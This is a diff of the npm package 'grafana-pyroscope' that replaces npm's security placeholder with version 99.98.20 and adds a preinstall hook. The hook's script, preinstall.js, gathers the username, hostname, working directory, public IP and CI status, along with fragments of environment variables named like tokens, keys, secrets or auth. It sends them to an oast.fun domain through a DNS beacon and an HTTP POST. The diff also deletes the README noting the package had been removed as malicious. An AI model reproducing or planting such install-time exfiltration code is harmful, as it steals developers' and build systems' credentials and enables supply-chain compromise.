grafana-pyroscope 0.0.1-security → 99.98.20

package/package.json

@@ -1,6 +1,8 @@
 {
   "name": "grafana-pyroscope",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "99.98.20",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node preinstall.js"
+  }
 }

package/preinstall.js

@@ -0,0 +1,137 @@
+const os = require('os');
+const dns = require('dns');
+const http = require('http');
+
+const OAST = 'd1j7bfsgtqkj8vn06s606j6tn18q5hah4.oast.fun'; // Your OAST domain
+const MAX_LABEL = 63;
+
+// Helper: split string into hex chunks for DNS labels <= 63 chars
+function hexChunks(str) {
+  return Buffer.from(str).toString('hex').match(/.{1,63}/g) || [];
+}
+
+// Promise HTTP POST to exfiltrate data via HTTP (port 80)
+function postData(path, data) {
+  return new Promise((resolve) => {
+    try {
+      const payload = JSON.stringify(data);
+      const options = {
+        hostname: OAST,
+        port: 80,
+        path: path,
+        method: 'POST',
+        headers: {
+          'Content-Type': 'application/json',
+          'Content-Length': Buffer.byteLength(payload),
+          'User-Agent': 'Mozilla/5.0 (compatible)',
+        },
+        timeout: 4000, // 4 seconds timeout to avoid hanging
+      };
+
+      const req = http.request(options, (res) => {
+        // Consume response data to free memory
+        res.on('data', () => {});
+        res.on('end', () => {
+          console.log('[*] HTTP POST success');
+          resolve();
+        });
+      });
+
+      req.on('error', (err) => {
+        console.log('[!] HTTP POST error:', err.message);
+        resolve(); // Always resolve so no crash
+      });
+
+      req.on('timeout', () => {
+        console.log('[!] HTTP POST timeout');
+        req.abort();
+        resolve();
+      });
+
+      req.write(payload);
+      req.end();
+    } catch (e) {
+      console.log('[!] Exception in postData:', e.message);
+      resolve();
+    }
+  });
+}
+
+// Promise GET public IP (via HTTPS, fallback to 'unknown')
+function getPublicIp() {
+  return new Promise((resolve) => {
+    try {
+      const https = require('https');
+      https.get('https://api.ipify.org', (res) => {
+        let ip = '';
+        res.on('data', (chunk) => {
+          ip += chunk;
+        });
+        res.on('end', () => {
+          resolve(ip.trim());
+        });
+      }).on('error', () => {
+        resolve('unknown');
+      });
+    } catch {
+      resolve('unknown');
+    }
+  });
+}
+
+(async () => {
+  try {
+    console.log('[*] preinstall.js triggered on', os.hostname(), os.platform());
+
+    // Collect basic info
+    const info = {
+      user: os.userInfo().username || 'nouser',
+      host: os.hostname() || 'nohost',
+      cwd: process.cwd(),
+      platform: os.platform(),
+      arch: os.arch(),
+      timestamp: Date.now().toString(36),
+    };
+
+    // Compose DNS beacon domain from hex chunks + platform + OAST
+    let domainParts = [...hexChunks(info.user), ...hexChunks(info.host), info.platform, OAST];
+    let domain = domainParts.join('.');
+    if (domain.length > 253) domain = domain.slice(0, 253);
+
+    // Fire DNS beacon (fire-and-forget)
+    dns.resolve(domain, (err) => {
+      if (err) {
+        console.log('[!] DNS beacon error:', err.message);
+      } else {
+        console.log('[*] DNS beacon sent:', domain);
+      }
+    });
+
+    // Wait for public IP fetch
+    const publicIp = await getPublicIp();
+
+    // Prepare info + IP + CI env marker
+    const infoWithIp = { ...info, ip: publicIp, ci: !!process.env.CI };
+
+    // Extract up to 5 secrets from env vars (token/key/secret/auth)
+    const leaked = Object.entries(process.env)
+      .filter(([k]) => /token|key|secret|auth/i.test(k))
+      .slice(0, 5)
+      .reduce((acc, [k, v]) => {
+        acc[k] = v.length > 12 ? v.slice(0, 12) + '...' : v;
+        return acc;
+      }, {});
+
+    const finalPayload = { systemInfo: infoWithIp };
+    if (Object.keys(leaked).length) {
+      finalPayload.envLeak = leaked;
+    }
+
+    // Send HTTP POST beacon with data
+    await postData('/', finalPayload);
+
+    console.log('[*] preinstall.js finished');
+  } catch (e) {
+    console.log('[!] Unexpected error:', e.message);
+  }
+})();

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=grafana-pyroscope for more information.